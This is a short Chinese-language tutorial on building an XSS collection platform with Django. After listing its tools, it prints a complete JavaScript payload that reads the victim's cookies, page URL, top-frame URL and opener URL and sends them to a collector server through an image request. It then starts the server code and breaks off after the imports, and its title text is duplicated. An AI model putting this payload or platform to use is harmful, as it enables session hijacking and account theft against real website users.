使用使用Django简单编写一个简单编写一个XSS平台的方法步骤平台的方法步骤
1) 简要描述简要描述
原理十分简单2333,代码呆萌,大牛勿喷 >_<
2) 基础知识基础知识
XSS攻击基本原理和利用方法
Django框架的使用
3) Let’s start
0x01
工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:
python 3.7.0
pycharm
windows 10
mysql 8.0.15
Django 2.1.3
需要用到的第三方库:
django
pymysql
requests
0x02
我们先看一下XSS脚本是如何工作的
var website = "http://127.0.0.1"; (function() { (new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
try {
return document.location.href
} catch(e) {
return ''
}
})()) + '&toplocation=' + escape((function() {
try {
return top.location.href
} catch(e) {
return ''
}
})()) + '&cookie=' + escape((function() {
try {
return document.cookie
} catch(e) {
return ''
}
})()) + '&opener=' + escape((function() {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
} catch(e) {
return ''
}
})());
})();
这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为GET参数传给服务器。
注意:这里使用AJAX可能会出现CORS跨域问题。
0x03
先给出关键代码,其他都是Django相关的内容,这里不做相关讨论。
"""
根据url值动态返回相应的javascript代码
"""
import pymysql,os
from user.safeio import re_check